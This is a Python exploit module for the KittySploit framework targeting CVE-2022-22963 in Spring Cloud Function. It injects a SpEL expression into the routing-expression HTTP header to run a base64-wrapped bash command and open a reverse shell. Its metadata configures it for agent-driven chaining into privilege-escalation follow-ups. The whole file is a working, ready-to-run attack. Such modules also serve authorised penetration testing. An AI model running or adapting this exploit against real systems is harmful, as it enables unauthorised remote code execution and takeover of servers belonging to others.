Spring Cloud Function - routing-expression RCE (CVE-2022-22963)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Spring Cloud Function routing-expression RCE (CVE-2022-22963) — reverse session."""

import base64

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'Spring Cloud Function - routing-expression RCE (CVE-2022-22963)',
        'description': (
            'Exploits CVE-2022-22963 by injecting SpEL into the '
            'spring.cloud.function.routing-expression header to run a reverse CMD '
            'payload. Waits for a shell session.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2022-22963'],
        'platform': Platform.MULTI,
        'payload': {
            'default': 'payloads/singles/cmd/unix/bash_reverse_tcp',
            'platform': Platform.UNIX,
            'category': PayloadCategory.CMD,
        },
        'references': [
            'https://tanzu.vmware.com/security/cve-2022-22963',
            'https://nvd.nist.gov/vuln/detail/CVE-2022-22963',
        ],
        'tags': ['spring', 'function', 'rce', 'spel', 'unauth', 'kev', 'cve-2022-22963'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 1,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.6,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0, 'min_params': 0,
                'tech_hints_any': [], 'tech_hints_all': [],
                'specializations_any': [], 'risk_signals_any': [],
                'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
                'confidence_min': {}, 'confidence_min_any': {},
                'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': ''},
                    {'capability': 'shell', 'from_detail': ''},
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [
                    'scanner/http/cve_2022_22963_detect',
                    'post/shell/multi/gather/privesc_suggester',
                ],
            },
        },
    }

    path = OptString('/functionRouter', 'Function endpoint path', required=False)

    def run(self):
        payload_cmd = str(self.payload or '').strip()
        if not payload_cmd:
            print_error('A reverse CMD payload is required to open a session')
            return False
        path = str(self.path or '/functionRouter')
        if not path.startswith('/'):
            path = '/' + path
        b64 = base64.b64encode(payload_cmd.encode()).decode()
        # Classic bash+base64 wrapper used by public PoCs / Greenbone.
        spel = (
            'T(java.lang.Runtime).getRuntime().exec('
            f'"bash -c {{echo,{b64}}}|{{base64,-d}}|{{bash,-i}}")'
        )
        print_status(f'Delivering reverse payload via routing-expression on {path}...')
        r = self.http_request(
            method='POST',
            path=path,
            data='kittysploit',
            headers={
                'Content-Type': 'text/plain',
                'spring.cloud.function.routing-expression': spel,
            },
            allow_redirects=False,
        )
        if not r:
            print_error('No response from function endpoint')
            self.not_vulnerable()
            return False
        print_success(
            f'Payload delivered (HTTP {r.status_code}); waiting for reverse shell session'
        )
        return True